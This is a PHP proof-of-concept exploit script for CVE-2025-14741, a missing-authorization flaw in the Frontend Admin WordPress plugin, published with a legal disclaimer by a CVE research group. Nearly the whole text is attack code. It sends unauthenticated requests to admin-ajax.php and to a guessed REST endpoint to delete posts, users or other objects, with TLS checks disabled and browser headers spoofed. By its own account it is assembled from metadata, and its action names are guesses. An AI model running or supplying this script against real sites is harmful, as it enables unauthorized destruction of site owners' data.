CVE-2025-14741: Frontend Admin by DynamiApps <= 3.28.25 – Missing Authorization to Unauthenticated Arbitrary Data Deletion via 'delete post' Form Element (acf-frontend-form-element)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14741 - Frontend Admin by DynamiApps <= 3.28.25 - Missing Authorization to Unauthenticated Arbitrary Data Deletion via 'delete post' Form Element

<?php
/**
 * Proof of Concept for CVE-2025-14741
 * Assumptions based on vulnerability description:
 * 1. The plugin exposes an AJAX endpoint for deletion operations
 * 2. The endpoint lacks authentication and capability checks
 * 3. Parameters include object type and ID identifiers
 * 4. The action name is derived from plugin slug or function name
 */

$target_url = 'https://vulnerable-site.com';

// Common AJAX action patterns for this plugin
// Based on plugin slug 'acf-frontend-form-element' and function name 'delete_object'
$possible_actions = [
    'fea_delete_object',           // Frontend Admin prefix
    'acf_frontend_delete_object',  // ACF Frontend prefix
    'fea_form_delete',             // Form deletion action
    'delete_object'                // Direct function name
];

// Target object to delete (adjust IDs based on reconnaissance)
$object_type = 'post';  // Options: post, page, product, user, term
$object_id = 1;         // ID of object to delete

foreach ($possible_actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => $action,
        'object_type' => $object_type,
        'object_id' => $object_id,
        // Additional parameters that may be required
        'nonce' => '',  // Nonce may be ignored due to missing authorization
        'confirm' => '1' // Some implementations require confirmation flag
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Add headers to mimic legitimate WordPress AJAX request
    $headers = [
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type: application/x-www-form-urlencoded',
        'X-Requested-With: XMLHttpRequest'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "Testing action: {$action}n";
    echo "HTTP Status: {$http_code}n";
    echo "Response: {$response}nn";
    
    curl_close($ch);
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || 
        strpos($response, 'deleted') !== false ||
        strpos($response, '1') !== false) {
        echo "[+] Potential success with action: {$action}n";
        break;
    }
}

// Alternative: Direct REST API endpoint if plugin uses REST
$rest_url = $target_url . '/wp-json/acf-frontend/v1/delete';
$rest_data = json_encode(['type' => $object_type, 'id' => $object_id]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $rest_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "Testing REST endpoint...n";
echo "HTTP Status: {$http_code}n";
echo "Response: {$response}n";

curl_close($ch);
?>